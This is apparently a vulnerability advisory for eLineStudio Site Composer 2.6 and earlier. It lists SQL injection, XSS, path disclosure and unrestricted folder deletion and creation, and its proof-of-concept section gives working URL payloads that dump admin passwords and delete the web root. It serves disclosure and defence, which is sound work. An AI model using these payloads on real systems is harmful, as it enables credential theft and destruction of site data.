########################## www.BugReport.ir #######################################

AmnPardaz Security Research Team

Title: eLineStudio Site Composer (ESC) <=2.6 Multiple Vulnerabilities

Vendor: www.elinestudio.com

Vulnerable Version: 2.6 and prior versions

Exploit: Available

Impact: High

Fix: N/A

Original Advisory: www.bugreport.ir/?/45

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1. Description:
   ####################
   eLineStudio Site Composer is a 100% browser-based database-driven content management system that helps
   companies to better manage, update & share web content. eLineStudio Site Composer provides affordable & flexible
   licensing for end users & web developers.
   ####################
2. Vulnerabilities:
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   2.1. Injection Flaws, Cross Site Scripting (XSS). SQL Injection in "/ansFAQ.asp" in "id" parameter. Reflected
   XSS attack in "/ansFAQ.asp" in "topic" and "button" parameters.
   2.1.1. Exploit:
   Check the exploit/POC section.
   2.2. Injection Flaws. SQL Injection in "preview.asp" in "template_id" parameter.
   2.2.1. Exploit:
   Check the exploit/POC section.
   2.3. Information Leakage. Database path disclosure in "/cms/include/trigger.asp" and/or
   "/cms/include/common2.asp".
   2.3.1. Exploit:
   Check the exploit/POC section.
   2.4. Failure to Restrict URL Access. Attacker can delete any folder on the server by
   "/cms/assetmanager/folderdel_.asp".
   2.4.1. Exploit:
   Check the exploit/POC section.
   2.5. Failure to Restrict URL Access. Attacker can create folder on the server by
   "/cms/assetmanager/foldernew.asp".
   2.5.1. Exploit:
   Check the exploit/POC section.
   2.6. Cross Site Scripting (XSS). Reflected XSS attack in "login.asp" in "id" and "txtEmail" parameters.
   2.6.1. Exploit:
   Check the exploit/POC section.
   ####################
3. Exploits/POCs:
   ####################
   Original Exploit URL: http://bugreport.ir/index.php?/45/exploit
   3.1. SQL Injection in "/ansFAQ.asp" in "id" parameter. Reflected XSS attack in "/ansFAQ.asp" in "topic" and
   "button" parameters.
   -------------
   Find Admin's password:
   http://[URL]/ansFAQ.asp?id=-2 union select email,password from [user] where email like
   '%25admin%25'
   XSS attacks:
   http://[URL]/ansFAQ.asp?id=1&topic=</title><script>alert('sdl BugReport.IR XSS')</script>
   http://[URL]/ansFAQ.asp?id=1&button="><script>alert('sdl BugReport.IR XSS')</script>
   -------------
   3.2. SQL Injection in "preview.asp" in "template_id" parameter.
   -------------
   Find Admin's password:
   http://[URL]/preview.asp?template_id=-1 union select 1,'[%25menu%25]' as
   date_created,email%2b'<br>'%2bpassword,user.,user.,1,2,3,4,5 from [user] where email like '%25admin%25'
   -------------
   3.3. Database path disclosure in "/cms/include/trigger.asp" and/or "/cms/include/common2.asp".
   -------------
   http://[URL]/cms/include/trigger.asp
   http://[URL]/cms/include/common2.asp?id=1
   -------------
   3.4. Attacker can delete any folder on the server by "/cms/assetmanager/folderdel_.asp".
   -------------
   http://[URL]/cms/assetmanager/folderdel_.asp?inpCurrFolder=C:\InetPub\wwwroot\
   -------------
   3.5. Attacker can create folder on the server by "/cms/assetmanager/foldernew.asp".
   -------------
   http://[URL]/cms/assetmanager/foldernew.asp?inpCurrFolder=c:\inetpub\wwwroot\&inpNewFolderName=test2008
   -------------
   3.6. Reflected XSS attack in "login.asp" in "id" and "txtEmail" parameters.
   -------------
   http://[URL]/login.asp?id=1"><script>alert('sdl BugReport.ir XSS')</script>
   http://[URL]/login.asp?txtEmail=1"><script>alert('sdl BugReport.ir XSS')</script>
   -------------
   ####################
4. Solution:
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   Edit the source code to ensure that inputs are properly sanitized (for 2.1, 2.2, 2.6). Rename the mentioned
   files in section 2.3, 2.4, 2.5, and wait for vendor patch.
   ####################
5. Credit:
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   AmnPardaz Security Research & Penetration Testing Group
   Contact: admin[4t}bugreport{d0t]ir
   WwW.BugReport.ir
   WwW.AmnPardaz.com